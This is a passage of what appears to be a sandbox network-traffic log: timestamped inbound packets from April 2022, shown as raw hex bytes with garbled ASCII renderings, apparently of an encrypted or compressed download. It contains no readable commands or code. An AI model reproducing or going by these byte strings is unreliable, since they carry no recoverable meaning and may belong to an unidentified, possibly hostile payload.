4d 9e c5 ef 74 c1 4f b7 e1 bc 3a 2e 0f df 5e b3 Data Ascii: XuwkABh}4n?\i{XKc9iIW*z@NYa_$2G)LG,pXw)/)T2+,HAO?>&'\CuF3K=%~V2,@H$Vd=u/5`t42a0XBM'5"_CN2]-iH=q31'694MtO:.^
2022-04-20 13:31:40 UTC	155	IN	Data Raw: b1 90 71 98 67 0c c5 3e e4 6b 6e 61 66 19 7d 09 39 d5 2b 8a 48 23 48 6b b8 f1 e0 77 ab c4 1b a5 c8 23 d7 d8 9f ac f2 b7 a8 8f 0b 3d 8b f0 19 ae ad 8b a9 06 d1 4f 98 16 78 19 4c 53 97 79 57 84 a9 f3 3d 06 23 03 d2 2f 41 44 18 e3 1e cd 83 69 a6 be 3b fe dc eb 8d e1 91 ea 81 23 1a c9 08 cb 3d 6a 9c 57 56 28 d4 f7 b1 a0 1e bb 23 b6 e4 64 8a d8 69 53 c6 fa 52 ce b8 7c b6 ab 91 f9 22 93 98 d2 2f 1a a0 4d 92 7f d8 e9 2b c7 f4 9a 13 30 f6 74 84 e0 f0 f3 59 a4 b2 62 cf 9d d3 bc 5b b7 35 d7 16 45 04 4b 79 40 d7 a5 7b 79 46 03 4f 35 b3 75 87 2f 1d 69 24 c0 fc 30 26 94 22 bd ee 1a a4 a0 ce c4 7e 3e 5a d1 83 c4 b3 40 e3 e5 17 66 77 62 ad 98 57 a1 ed 0d 39 ca 58 c9 d4 82 bd 5a 66 10 75 54 f4 4a 24 ff 45 30 c3 bf 7e cc d2 09 e6 5a 14 07 f8 d1 8a e1 e4 a4 f9 22 92 03 34 Data Ascii: qg>knaf}9+H#Hkw#=OxLSyW=#/ADi;#=jWV(#diSR\|"/M+0tYb[5EKy@{yFO5u/i$0&"~>Z@fwbW9XZfuTJ$E0~Z"4
2022-04-20 13:31:40 UTC	156	IN	Data Raw: e0 9b 30 ae 3c 4d b0 03 3c 17 3e 51 6f 07 88 35 4d 80 cd 88 75 c1 49 07 ae ef 4a 09 2f 45 41 fd 4f e4 3a 99 6b f6 36 e7 16 a1 82 0c 58 de 58 10 fa ee 4d e6 10 16 2f 78 3e 5b b0 fe 1c ca b8 3b ea dc d8 23 3c 1e 99 06 ae a6 85 09 0b 45 f4 13 5d 08 49 99 d2 94 e4 8b f6 70 fd d1 a7 c3 10 a4 82 1b 96 9e f5 50 6a 29 94 8b 66 51 5b ca ab d2 96 de e0 b5 92 98 03 e8 9e 98 78 4b cc 20 a8 0e 24 1e c0 1e 25 86 7e b3 dc 5a 38 e3 b2 ad 21 0e f5 36 45 38 0a 1d 03 fe e1 7d 5b 61 74 3b 5a 00 58 88 8e ce fa 12 50 0f 4e 97 6e cc 56 90 cb 84 56 33 e6 1d d9 fd 1f 32 09 ec e6 7a 0b 94 ed 00 b2 4d 0f 2c d1 c1 1e 5b da 2a 9b bd 1d 68 ed 47 f5 ce aa d9 06 22 e6 a6 ec 40 cd 6d 49 ea c3 fb 2e 0a 8e 09 e7 88 bd 3b f9 ec 6b 15 23 96 6e f6 63 af 47 56 1a 90 f1 4d 18 4b 4b 91 e7 74 14 Data Ascii: 0<M<>Qo5MuIJ/EAO:k6XXM/x>[;#<E]IpPj)fQ[xK $%~Z8!6E8}[at;ZXPNnVV32zM,[*hG"@mI.;k#ncGVMKKt
2022-04-20 13:31:40 UTC	157	IN	Data Raw: 54 bf d5 75 52 de 00 37 95 44 30 d8 84 2b af f6 24 ee 56 89 04 b9 ee 82 e5 c4 76 d1 db 93 99 17 c7 9f fd c5 2e a1 a5 0f 6d 94 bf 43 8b 09 08 c3 c7 b2 07 59 04 09 b3 06 3b ef 6a 26 c6 ba 3a c4 7a 34 04 f8 b3 de d0 14 c0 42 30 d4 aa 67 ef 61 27 43 1b 6e 57 42 59 49 47 0a ac 2d 1d 6f 7e 0f a4 bb 75 64 1b e2 4b 66 a0 45 06 24 42 1f 4f 97 cf 67 0a fa a7 2c 56 b3 ce 03 20 4f fc 3c ca 1e 2b 44 a1 f0 f6 52 45 a2 62 0d 32 47 14 ca 4e 89 81 86 e8 dd 12 a6 46 2a 5e 19 f7 e7 97 75 05 e6 6b 3f 5f b7 47 37 04 86 18 c0 c9 28 0a 52 a2 c4 ee 70 33 32 92 ca 00 51 3b 46 c3 d9 41 d2 de 9c 18 ec 27 d8 99 6d b1 71 54 79 0c 87 2a 3c 18 01 df 17 5f fe 06 0a d4 5e 02 02 48 e4 b6 5c 06 ab 50 da be 81 22 45 d1 98 92 08 42 4b b4 59 31 ea 82 5f 26 a9 9f 9d d1 49 1e f9 18 0e c1 da 76 Data Ascii: TuR7D0+$Vv.mCY;j&:z4B0ga'CnWBYIG-o~udKfE$BOg,V O<+DREb2GNF^uk?_G7(Rp32Q;FA'mqTy<_^H\P"EBKY1_&Iv
2022-04-20 13:31:40 UTC	158	IN	Data Raw: 0c 4b e3 7a f3 9c a4 58 9c 05 65 5f ed 7a 8b 2f 19 68 77 a3 d8 1d 2e 98 bf b8 af 27 ac a4 ee 08 56 c7 5b 4b a0 c3 c8 18 a2 3f 17 62 68 3e 41 b0 7a af d5 3a bc eb 65 c7 fe 00 d4 13 9e 11 71 72 02 20 5a 9e de 15 ea b1 25 76 2b 24 e8 7c 2b 04 d5 ef 82 fd cc 4a d0 db 95 29 b4 94 ef da e5 ef 81 78 0f 4d 05 2e 66 a6 03 06 1a 1b b2 01 73 a6 f3 df 07 3b f4 43 c8 3f bb 3a 58 75 9f 6b bf 92 18 d4 34 1e 62 a3 df 30 42 db 5b f8 62 c5 68 7d c4 07 a5 4b 0a a8 12 83 47 87 0e 3e 98 72 f0 43 a3 8d 66 a4 65 f9 b2 49 1f d5 ad fa 5d d5 db 78 2a 7c 35 90 84 2c 4f f8 03 3c 36 d2 45 3b d3 f1 c6 1d e3 ab 0d 36 67 d4 64 45 89 1b bc c8 e7 cd 87 a6 2c 74 9b a9 a2 98 75 01 d9 88 17 a6 b6 dd 14 03 15 40 81 01 28 0e 72 63 7f e5 70 a9 0e 97 22 27 71 dc 6c 41 a7 00 9d d0 98 38 3c 0f 21 Data Ascii: KzXe_z/hw.'V[K?bh>Az:eqr Z%v+$\|+J)xM.fs;C?:Xuk4b0B[bh}KG>rCfeI]x*\|5,O<6E;6gdE,tu@(rcp"'qlA8<!
2022-04-20 13:31:40 UTC	159	IN	Data Raw: df 1f 25 20 6e 96 70 c1 7e 49 97 8b 50 19 7a 4b 41 fd 1f 30 03 cd 98 1b 0a 0e cc 0d a1 6a 2f 8f 4b e4 33 6a 8d 03 99 bc 03 40 34 23 fa c8 80 41 50 ba e6 a6 ee 4a eb 13 28 eb 59 da 23 1b a9 29 43 12 98 16 c8 b3 42 16 22 89 75 fe f7 a1 47 50 29 3a 76 2d 19 4d 65 33 3c 15 15 5f b2 e2 f6 cf a8 3c 07 a9 e5 cc 15 01 cf 73 75 e0 fa db 29 a2 33 7e 76 e1 12 fb 78 36 82 4b f0 88 79 9c 47 11 ec c7 e5 f1 4d 66 1d 41 3c 0d 38 d1 34 df a1 09 65 65 84 c6 6c 56 b0 ca 31 27 af 6a 2f d9 9b 8a de dc d6 ee 90 18 a2 fe 49 14 8e a7 a7 20 ee 4e b7 08 70 01 64 b1 be 80 50 ae 2d a7 36 79 42 06 f2 2c 5f 33 82 5c 16 ee b4 50 f1 99 19 f6 dc cb e8 c6 68 eb 9c 0d c9 a2 76 ac 16 ec e6 29 2f b2 f5 fa b7 87 01 c3 99 ba c1 76 ac e5 49 ab c7 fa 74 64 dd 02 d7 b5 9e d5 c4 eb 02 f1 28 92 f8 Data Ascii: % np~IPzKA0j/K3j@4#APJ(Y#)CB"uGP):v-Me3<_<su)3~vx6KyGMfA<84eelV1'j/I NpdP-6yB,_3\Phv)/vItd(
2022-04-20 13:31:40 UTC	161	IN	Data Raw: fd 3a 28 97 3e 7a 25 05 18 74 a2 57 e4 70 33 0b d9 22 01 51 22 72 69 5e 21 d3 d8 b2 ba 58 46 d9 99 f3 b4 75 44 5f 2c d7 0f 11 09 07 41 35 5e fe 1f 02 ac 4e 02 04 79 4a 31 3c 07 ad 7e 7c 0b e0 23 45 4f 9d 95 1b 64 6b e5 7c 1c f8 84 be 07 a8 9f 82 f8 e7 f6 f8 18 17 e4 70 f1 fd 28 35 de 11 98 42 c4 a9 59 30 e9 2d fc c8 52 5a 52 5a 14 7d 86 04 60 e1 ac 73 e8 03 87 36 cb fa c0 af 3c 50 b2 7c 43 76 39 7b e9 59 c5 35 4d 84 77 33 58 d3 6f bd a7 c3 5b 2f 2f 7b 50 fd 4f db 61 b8 92 f7 2d c9 c5 22 fc 6b 73 5c 22 51 d6 ef 49 c6 15 33 02 69 82 5e b0 ee 3a ea 07 8e fb dc f8 6c 1d e7 98 1f 80 75 02 77 6c 6e 76 69 1c 27 48 9d f2 ae c1 a6 e4 cc f8 d2 b7 e5 30 24 39 0a 96 be bc 41 42 d0 88 a3 99 7a d9 b2 e0 51 e8 bb c1 9a 97 b8 a2 72 bb b5 f3 48 c1 1e 8f 2e 85 3e 13 0f 05 Data Ascii: :(>z%tWp3"Q"ri^!XFuD_,A5^NyJ1<~\|#EOdk\|p(5BY0-RZRZ}`s6<P\|Cv9{Y5Mw3Xo[//{POa-"ks\"QI3i^:luwlnvi'H0$9ABzQrH.>
2022-04-20 13:31:40 UTC	162	IN	Data Raw: b3 f1 dc 95 04 7f a2 02 9f e8 44 c5 c4 41 aa 5d df 79 f5 f4 22 98 ab 91 fd 1d 5c 11 f7 02 08 ae ab ea 5f ee cb ad b9 8c b3 ea 35 d6 22 af 8e 8e 08 7d 89 a4 5b 95 57 f7 91 54 b1 96 be 36 76 13 5b 51 a6 df 8d 84 52 c4 7b 04 5e cd 10 a6 7e 18 76 5f c0 fc 30 39 94 1d 97 cf 26 ac 80 02 c0 56 c7 45 f9 7c ef d9 38 a8 62 69 03 69 1e 33 9d 28 ae cb 12 df cf 48 d3 f2 a2 f8 73 9f 11 55 86 cd 20 5a 81 65 18 3e a1 03 50 dd a2 96 1d 0a 7a dc cf d1 e0 e4 b3 4b fe be 11 14 ca dd da e5 eb 81 50 1c 4d 05 ab 4a a3 e8 21 3a c0 98 87 0d e7 76 d2 03 1b bf 4b e0 c6 20 1f 73 4d 3f 35 8a 92 18 d0 34 3e 71 a3 df b5 74 de b0 df 42 1d 42 ff ba 46 29 46 0e 88 58 db 6f 7e 95 1b b3 49 50 1d 97 8d 66 a0 65 37 a6 49 1f 54 a0 2e 4e f3 fd 8d ac 02 54 b1 62 25 6f ae 1d 02 1e b1 61 16 c7 fd Data Ascii: DA]y"\_5"}[WT6v[QR{^~v_09&VE\|8bii3(HsU Ze>PzKPMJ!:vK sM?54>qtBBF)FXo~IPfe7IT.NTb%oa
2022-04-20 13:31:40 UTC	163	IN	Data Raw: 58 6a 29 a9 39 8a 50 5b d3 90 78 11 be e1 b3 bc 3a dc 89 9f 98 e6 4e 97 30 8e 2e 1f 3b ed 0f 23 fb 01 b2 dc 47 30 b1 a6 ad 27 3a 5b b1 25 39 0c 33 a5 22 80 7c 5b ff 71 61 49 26 78 b0 ab e3 e8 14 14 71 4f 97 71 e1 cd 7c ca 84 4f 10 4c 9a b9 fc 19 1c ab 31 87 7b 0b 0a e8 55 a2 6b 2f 15 f4 ec 0f 5d 8b 5b 9a bd 03 60 a8 53 f5 c8 9b 77 81 42 e7 a0 c2 e6 17 0c 48 ea 5d fe 7a 19 a8 29 d9 ad 90 29 ff b5 1b 14 23 89 55 1f 8f ae 47 4f 2a 3a 76 2d 19 4d 65 33 3c 15 15 5f b2 e2 88 cf a8 3c 07 a9 e5 cc 15 01 b1 73 75 e0 fa 70 33 a2 33 7d 76 e1 12 fb 78 36 86 4b f0 88 79 9c 47 6f ec c7 e5 f1 4d 66 1e 41 3c 73 38 d1 34 df 0d 13 65 65 81 e2 bd ae b1 cc 1d 8f 53 75 4f d8 9f ae f8 a1 d7 ee 0a a7 aa c2 7e 12 a8 da a6 20 ce 19 53 1d 70 19 50 60 46 81 56 82 85 5f 29 19 43 02 Data Ascii: Xj)9P[x:N0.;#G0':[%93"\|[qaI&xqOq\|OL1{Uk/][`SwBH]z))#UGO*:v-Me3<_<sup33}vx6KyGoMfA<s84eeSuO~ SpP`FV_)C
2022-04-20 13:31:40 UTC	164	IN	Data Raw: e2 10 67 a0 45 bc 97 64 0e 69 a8 4b 4e f3 fb 87 d9 64 35 b0 7f 09 b6 f9 1c 04 34 ad 3a 5a d4 db 44 43 1f ab 0d 32 dd 11 49 57 af a1 04 e4 f5 eb 87 bc 34 74 9b 96 8c be 8c 00 c6 a4 15 d9 c9 bc 13 29 93 1e 7e 01 28 0a c8 a7 52 f7 56 13 b5 bb 33 01 71 39 75 41 a7 3f ca f6 61 39 26 21 f2 1f 89 f5 5d 45 5b 0c d2 2b 3c 18 bb 44 31 4d d8 3f bd 2c 5f 02 24 7f 7b c8 3d 18 a6 7c 03 74 81 24 6f cd c3 de 1b 64 6f 5f f9 30 ea a2 04 08 84 8d a4 f8 c1 e6 f8 18 28 c1 41 08 fc 37 24 dc 6e e7 23 c3 83 db 6e a3 2d fc cc e8 de 7e 48 32 c7 88 28 72 c7 ac 47 f8 03 87 09 81 cb 39 ae 23 45 b0 03 3c 17 3e 51 6b 07 88 35 4d 80 cd b4 74 c1 49 07 ae ef 49 09 2f 79 40 fd 4f e4 20 89 6b f6 32 c2 c7 59 83 0a 74 76 a0 0f 9a ef 49 c2 af b5 2e 78 a4 e4 b8 c2 28 cc 07 98 eb dc f8 50 54 07 Data Ascii: gEdiKNd54:ZDC2IW4t)~(RV3q9uA?a9&!]E[+<D1M?,_${=\|t$odo_0(A7$n#n-~H2(rG9#E<>Qk5MtII/y@O k2YtvI.x(PT
2022-04-20 13:31:40 UTC	166	IN	Data Raw: d8 db fc 68 74 5c 8e ef 6b 14 4b a7 a7 20 54 1c 95 1a 56 39 8f 49 bf 80 76 af b4 d9 57 67 59 2a 2b 2a 5e 35 a8 40 4d a2 a4 76 d5 be dc f7 dc eb 0b ec 45 f9 a7 05 f4 a2 76 aa 1c 2c 83 48 2e ad d5 f2 46 87 01 c5 29 19 92 05 8b c5 45 8a 02 fb 54 e4 48 27 fa b8 b7 dd f8 eb 02 f7 22 7e 9d 52 eb 40 f2 c9 d2 c6 ed b4 c0 b7 88 13 af 8e 8a b2 9e a5 b6 7d 2f 22 db 83 72 b1 ec ac 36 76 2c cf 62 5f de 92 88 50 bf 04 65 59 e7 92 f8 4e 18 76 5b 7a 1e 1c 28 b2 a7 e3 e3 34 8a 80 09 d2 56 c7 7b 5f 9e ee d9 21 89 cc ee 63 68 18 1d 3f 04 ce ca 12 41 ca ad c0 d4 82 30 57 b2 00 53 72 16 21 5a 9e 64 a9 dc a0 03 4b df dd e9 7c 0d 50 5a 91 e3 e0 e4 b7 f1 12 92 03 32 70 ab f6 f4 cd 81 6c 0e 4d 05 94 e3 90 11 20 27 ee 4b 00 73 80 5d 54 79 5a ea 4a e4 e6 70 3b 5e 5f 83 30 f3 81 3e Data Ascii: ht\kK TV9IvWgY+^5@MvEv,H.F)ETH'"~R@}/"r6v,b_PeYNv[z(4V{_!ch?A0WSr!ZdK\|PZ2plM 'Ks]TyZJp;^_0>
2022-04-20 13:31:40 UTC	167	IN	Data Raw: 05 36 ee a0 84 20 f0 22 47 70 fb ea 69 2c 8e 16 2f e2 81 53 8c c9 1a 00 26 3b ea fc f8 6d 35 1e 85 37 7f 5e 84 0f 27 ed 08 0c 3d 09 4d bd 19 35 e4 8b 6c cf f5 ed 90 c5 db 05 82 1b b6 b8 be 59 6a 34 a1 5a 9e 50 5d e6 03 2e 89 be e1 b1 b6 54 a3 e8 9e 02 c7 43 f0 17 ae c2 84 1e c0 3e 08 c6 77 b3 c0 6f e9 1b b3 ab 0d a6 0d 29 25 39 0e 39 ce 5d e1 7d c1 de 7c 07 6e 06 95 2b 8e ce da 21 29 06 4e 8a 59 38 7f 69 cc ae d2 67 05 62 b8 f8 3f d8 28 4f e6 e0 2e 23 d9 0b 83 85 2e 8f d1 e1 04 66 ab 23 87 95 fa 41 14 40 df 4a fe 3e 79 43 e3 86 07 61 69 6d d3 cf 74 cf 25 38 47 28 43 88 9d 1b c4 95 62 08 0b 70 74 de 9c 84 c1 2e 51 13 8f 28 39 bb 4e b1 42 ee 31 72 a4 e4 d2 3e a9 3c 9d ac ef c0 33 21 d4 6a 5d 19 db ab 20 88 b1 19 3f 19 13 ff 5e ed 01 35 91 13 5c b5 76 32 cd Data Ascii: 6 "Gpi,/S&;m57^'=M5lYj4ZP].TC>wo)%99]}\|n+!)NY8igb?(O.#.f#A@J>yCaimt%8G(Cbpt.Q(9NB1r><3!j] ?^5\v2
2022-04-20 13:31:40 UTC	168	IN	Data Raw: 5c 0e 4d 03 9e c5 f5 70 21 3a c2 92 10 71 86 77 48 22 16 f9 6c c0 d7 b8 3a 5e 7f c1 0b de 93 07 c0 3c 39 63 a3 d9 80 e1 88 28 df 42 1f 48 6f c6 27 28 dc 2f 85 1f fc 4f 6c 0d 3e 9e 78 9e 23 c2 8c 79 83 6d df b3 49 19 65 0a a9 2e f2 fb a3 0a 6f 37 b0 62 bb 6a d5 0d 24 3e 38 46 3b d5 fb 4b 7c 82 aa 14 1a be 35 64 43 a3 03 e7 84 f4 eb a3 66 38 76 9b 89 1c b3 58 10 e0 82 2b 5d b7 dd 32 27 88 3e e0 1d 00 f3 53 82 79 cf f6 4d 4a bb 33 05 71 28 6e 41 a7 ba f6 f3 8a 1e 06 32 da 99 f7 b4 49 5a 5f 2c 52 3f 14 e1 20 61 1a 75 78 61 43 2c 5f 06 24 74 60 c8 3d 9d 8e 79 e8 53 a1 34 47 4b bd 9f 30 7b 6b 7f 46 38 c2 5b 9f 2d af b5 04 a6 00 e6 f8 1c 28 fc 5a 08 fc b2 16 d9 85 c0 03 d2 ab 5d 10 e2 1f e3 c8 c8 60 75 60 cb 5c ad 03 4a 67 f2 87 f8 03 83 09 d8 d0 39 ae a6 73 b5 Data Ascii: \Mp!:qwH"l:^<9c(BHo'(/Ol>x#ymIe.o7bj$>8F;K\|5dCf8vX+]2'>SyMJ3q(nA2IZ_,R? auxaC,_$t`=yS4GK0{kF8[-(Z]`u`\Jg9s
2022-04-20 13:31:40 UTC	169	IN	Data Raw: 3c 82 81 e0 24 32 21 cd 58 f3 9e bb aa 26 a6 13 5f 5c 18 13 61 5b 31 12 13 b1 b1 7b 98 67 34 53 e7 e5 6b 77 45 24 9e 1d 08 3f fb b2 81 b3 07 65 61 be d7 97 57 b0 56 3e 88 c3 2d 0e e0 9d aa d8 fd 1a ce 0a 3d 90 fd 47 cd 89 a6 a1 0a 48 47 d9 09 70 1d 6c 72 bd 80 56 1e 8a f4 45 5e 62 38 d0 2b 5e 13 5c e6 33 c3 ba 65 f9 67 19 f6 da c1 17 b7 09 ea 81 21 10 98 74 aa 3c f0 bd 65 3c 94 d1 e1 bd 86 01 e3 f2 bf ec 64 95 d3 69 53 c6 fa 52 ce 54 7c b6 ab 91 f9 1d d6 00 f7 02 8e a3 7f f9 79 c8 dd 29 c7 ed 92 ed 10 f6 72 b1 99 a6 6b 59 a4 b0 57 33 79 97 90 54 95 0a 90 34 76 0c d1 5c 72 cc ab a2 45 44 05 65 7f d3 35 86 2f 06 7f 77 a3 d8 1d 2e 98 bb b8 af 27 ac a4 ee ed 54 c7 5b 4b a0 c3 cb 18 a2 da 15 62 68 3e 10 9c 7a af d4 38 6d 13 64 c1 d2 a8 2c 0c fe 10 75 56 fe 1f Data Ascii: <$2!X&_\a[1{g4SkwE$?eaWV>-=GHGplrVE^b8+^\3eg!t<e<diSRT\|y)rkYW3yT4v\rEDe5/w.'T[Kbh>z8md,uV
2022-04-20 13:31:40 UTC	171	IN	Data Raw: 03 9b ab 5d 10 e2 37 d8 c8 c8 60 53 60 cb 5c ad 03 4a 63 f2 87 f8 03 83 09 9f d0 39 ae a6 73 b5 eb 1b 37 67 79 ed 79 c9 73 69 84 ed 01 5d 38 48 9d 8d e8 dd 51 6e da 41 f9 6f a4 76 90 6b 6c 08 e2 fd 86 a2 6a 70 5c 26 51 b3 ca 49 c6 90 30 07 81 a5 7e 9b c5 bc 94 46 3a ea d8 d8 11 37 1e 99 85 a3 72 96 2f 2d 0e 74 6d 3c 29 27 b9 f2 34 fb 87 de 13 d9 fc b0 cf b6 7a e3 1a 96 ba 83 3b 68 29 89 39 ba 7d 49 ea a1 32 ea bf e1 95 ec 9c a2 e8 81 94 ca 97 e0 31 88 04 03 60 a1 1f 05 df 57 d0 de 47 10 80 96 80 35 02 53 2b 26 39 0a 39 a5 78 e1 7d 44 eb 79 ef 49 26 7e 00 08 b0 9b 33 34 02 6e f3 73 c1 7e f3 ef a9 42 3f 44 07 ba fc 1f 16 bf 6b e6 7a 14 3f e0 d4 a2 6b 29 a5 57 bf 7f 7a ab 27 bb d8 01 40 14 dc d0 e5 92 79 58 26 e5 a6 e8 40 ae 49 49 ea 46 d4 2b e1 a9 29 45 a2 Data Ascii: ]7`S`\Jc9s7gyysi]8HQnAovkljp\&QI0~F:7r/-tm<)'4z;h)9}I21`WG5S+&99x}DyI&~34ns~B?Dkz?k)Wz'@yX&@IIF+)E
2022-04-20 13:31:40 UTC	172	IN	Data Raw: de d3 85 ee 43 1b af f6 31 42 ed 1c 37 bd 5a 7f ed 12 45 f5 75 e9 2d 83 aa 74 b5 97 0b 33 df 20 5e be c2 32 c7 a0 99 73 da 36 ce 5c 8d 78 d8 ef a2 01 c2 b3 d1 c4 8b 2b cb eb 8e dd cf 6d df c4 0e 4d 01 94 c4 89 11 20 a0 e3 9f 13 55 a6 f0 d0 07 3b cb b2 c6 c6 ba 25 51 77 e0 14 de 95 32 52 6a a1 63 a3 db 8a ef f4 49 de d8 3e 45 6c e2 07 a0 44 0a a8 2d dd 48 7e 0f 20 b6 a1 77 3d c4 a6 e0 de 24 27 b2 4d 3f c6 8a d7 4f 69 de 8a 38 5a 15 39 60 21 4f d8 13 25 1e 2b 5b 23 fd 22 41 63 84 80 8f 4c 26 35 64 41 a9 0b 9b e5 f5 71 82 6b 3d 52 bb 03 84 96 75 21 e1 85 3f 5f ad f5 eb 28 97 38 ca 82 56 6b 53 82 7b c5 fb 31 2b ba a9 24 7c 2c 4a 61 2c 22 d3 de b8 13 01 27 d8 87 df 6d 5d 45 59 06 cb 54 5d 19 21 65 3c d3 fc 1f 22 b7 7a 2f 16 44 42 44 3f 07 ab 74 c9 52 81 22 5a Data Ascii: C1B7ZEu-t3 ^2s6\x+mM U;%Qw2RjcI>ElD-H~ w=$'M?Oi8Z9`!O%+[#"AcL&5dAqk=Ru!?_(8VkS{1+$\|,Ja,"'m]EYT]!e<"z/DBD?tR"Z
2022-04-20 13:31:40 UTC	173	IN	Data Raw: 1e 7d 81 a1 e5 dc 02 40 10 66 59 ca 80 5f e2 66 ca b7 ce 40 c5 6f 49 ea 79 c0 2a 18 a8 3e 6b 71 bc 3b df bf e0 6b 42 88 75 da ba 03 45 50 30 88 aa 01 08 6d 6f 1c 40 74 14 7f a9 eb f2 ce bf 14 64 8d c8 db 19 a7 b5 13 74 e0 de 8b 88 a0 33 67 c4 3d 3e e9 58 3c ae 37 91 89 59 b8 4e 14 ed d8 ea 43 91 4a 0c 61 36 8e 47 b0 35 ff d6 26 ca 67 9e ee 0f 72 9d de 3d 85 7e 09 2e d9 bf 85 f1 dd d6 f1 04 15 76 ee 6f 32 a2 20 d9 41 cf 39 bc 28 c0 1b 4c 48 25 a5 7b 96 89 f9 e7 7a 42 02 f2 16 77 33 82 d9 2f eb 5c 77 d1 98 32 70 a2 8a 90 c9 6c cb 30 27 30 a3 ec 8f 11 78 be 68 9f b0 f1 da 9f df 28 c3 03 80 f1 4c 73 c4 41 ac ed 7c 2a 85 d3 02 d3 8a 23 ff 3d ea 98 d2 2f 06 a0 72 59 5d e8 e1 0b b1 c4 b2 ea 2e fb 5a 57 8f 8e 94 72 22 c8 1c b4 07 f2 b1 e7 93 2a ad ac 53 21 59 5f Data Ascii: }@fY_f@oIy>kq;kBuEP0mo@tdt3g=>X<7YNCJa6G5&gr=~.vo2 A9(LH%{zBw3/\w2pl0'0xh(LsA\|#=/rY].ZWr"*S!Y_
2022-04-20 13:31:40 UTC	174	IN	Data Raw: 30 b3 ad 38 29 5b b1 25 39 0c 33 a5 22 80 7c 5b ff 71 d4 4a 26 78 b0 ab e3 e8 14 14 c4 4c 97 71 e1 0b 43 ca 84 4f 17 4c 9a b9 fc 19 1c af 31 87 7b 0b 0a e8 ee a1 6b 2f 15 f4 ec 0c 5d 8b e0 99 bd 03 60 97 6c f5 c8 9f 52 50 ba e6 a6 ee 4a ef 13 28 eb 59 da 23 dc aa 29 43 12 98 16 cb b3 42 d1 21 89 75 fe 0a 84 47 50 2f 19 a7 d5 18 4b 49 9b c4 0a 75 5e b6 c6 d2 0b aa 3c 9d 16 ed f0 21 07 eb b7 77 e0 da 8b bd 88 33 67 41 08 3b 02 7f 1c 06 1f 13 f7 18 99 67 10 cd 01 e7 6b 68 d1 29 4a 0d 2e 19 17 36 ff d2 26 ce 4f 9e ee 88 7f 49 cd 1b a3 fb 89 50 b8 9e aa dc fd 11 ec 0a 3d 15 ca 42 25 ae 86 60 22 ce 39 98 ba 5a 19 4c 52 97 79 57 84 a9 f3 d1 06 23 03 d2 2f 7e fb 80 c6 33 59 80 5b c3 b8 38 3e de eb 91 e9 de c1 81 25 2f e3 5e 53 3d 6a 9e 62 ac cc 90 db bf 82 21 0a Data Ascii: 08)[%93"\|[qJ&xLqCOL1{k/]`lRPJ(Y#)CB!uGP/KIu^<!w3gA;gkh)J.6&OIP=B%`"9ZLRyW#/~3Y[8>%/^S=jb!
2022-04-20 13:31:40 UTC	175	IN	Data Raw: be 35 64 43 a3 07 e7 84 f4 eb a3 66 c5 76 9b 89 1c b3 58 13 e0 82 d6 5d b7 dd 32 d1 bc 3e e0 1f 23 22 ab 83 7f e3 5a b1 55 db 32 01 55 1d 86 43 a7 20 49 fb b5 29 00 07 32 9b f7 94 7c 46 73 2c 4d 34 14 e1 20 61 1a 75 78 61 43 2c 5f 06 24 89 60 c8 3d 9d 8e 79 e8 53 a1 c9 47 4b bd 9f 11 48 6b 7f 46 1b c2 5b 9f 2d af b5 04 a6 00 e6 f8 1c 28 07 5a 08 fc b2 16 d9 85 c0 03 29 ab 5d 10 e2 19 d0 c8 c8 60 69 60 cb 5c ad 03 4a 63 f2 87 f8 03 83 09 2d d0 39 ae a6 73 b5 eb 1b 37 d5 79 ed 79 c9 7f 61 84 ed 0b 5d 38 48 9d 8d e8 d9 51 6e da 41 f9 6f 2a 76 90 6b 6c 08 e2 fe 86 a2 e4 70 5c 26 51 a9 c2 49 c6 91 3e d6 79 a4 78 b7 6d 44 8b 26 3b ee fc 17 72 35 1e 03 3a ab 4e a2 29 e2 6d 76 6d 1c 53 65 9d f2 2c cc 72 f7 ea de d6 34 9b 51 05 82 1f b6 4e a1 59 6a b3 ac 8e 8e 76 Data Ascii: 5dCfvX]2>#"ZU2UC I)2\|Fs,M4 auxaC,_$`=ySGKHkF[-(Z)]`i`\Jc-9s7yya]8HQnAo*vklp\&QI>yxmD&;r5:N)mvmSe,r4QNYjv
2022-04-20 13:31:40 UTC	177	IN	Data Raw: dc 22 44 8e 7c 7f f4 1a 32 1f 2b 6f ce 41 2a df c8 0b df 14 9f 83 5c b1 d1 59 5a 61 4c 03 84 5f d4 4d 65 e7 09 53 82 29 49 70 dc 72 0a da 0f 62 58 61 a3 20 c9 27 cf 9f 34 e5 4c f8 51 64 a3 44 59 40 0a 9b 54 de 19 70 73 32 f0 0e 07 87 0d b0 43 20 f9 70 d5 5c d5 96 bf fc 98 bd 29 99 8f 25 0e 59 38 48 dc 19 c3 60 56 24 46 42 9a 48 7d fe 24 9b 9e 76 fe e0 c0 c1 44 c1 5c 87 d1 d2 e4 14 b5 cc 7c 0f 17 6e 0f 81 54 cf a3 78 34 ce 42 bf a2 f2 c1 4e e1 6c 0a 2d bd 0b 6f a9 61 6a ce a9 5c 0e ba 76 a3 72 09 68 cb b2 d9 aa e7 a6 c4 d7 d4 41 2b f9 9d dd b6 f8 bf bf 17 4b 4d dc 2b f3 68 0c 14 bc c9 61 0e e0 44 f5 32 0d 95 2c 94 f8 8c 0a 75 3d 78 21 e2 ad 3d a6 20 fb 5b 66 06 3f ec 7b d6 42 8d d8 fd eb 47 bf f4 a6 ea 5e cb 5e f9 a6 df ec 57 d4 f9 eb 1c 54 a5 34 93 c3 55 Data Ascii: "D\|2+oA*\YZaL_MeS)IprbXa '4LQdDY@Tps2C p\)%Y8H`V$FBH}$vD\\|nTx4BNl-oaj\vrhA+KM+haD2,u=x!= [f?{BG^^WT4U
2022-04-20 13:31:40 UTC	178	IN	Data Raw: 96 cc d1 cb 89 ee a8 78 11 ef 3b 57 3b 25 6c 75 39 67 b8 97 14 c1 3f 02 0a c4 e7 b0 10 34 02 d4 c3 5b 1a d4 72 19 43 1e 26 14 01 4b 31 28 45 c9 43 9f 3b 85 2d a1 60 bd a7 35 d5 12 7c d9 a6 a4 05 0f 98 b3 c9 12 76 45 4c 74 63 1d bc 2a 0c be 38 51 1c 6a 2e 78 d4 c3 f2 3e 48 55 03 dc 0f 9e 35 36 91 dc 04 3c 5a 45 81 d2 38 6d 4d 23 81 15 7d 7b ef 67 f2 51 05 a7 e6 ef 3a 47 e1 58 e6 9b 26 6d 23 2a d6 96 d0 17 63 5b b2 f3 bd 2c 3a 24 08 cb 5b d9 0d 0d fc 63 0a c7 f2 77 95 d7 20 45 14 96 70 cf 89 8b 74 37 40 64 ee 50 66 39 75 88 7a 4b 7e 56 be b5 cd f2 d1 2a 8a ea f8 e2 5a 02 e9 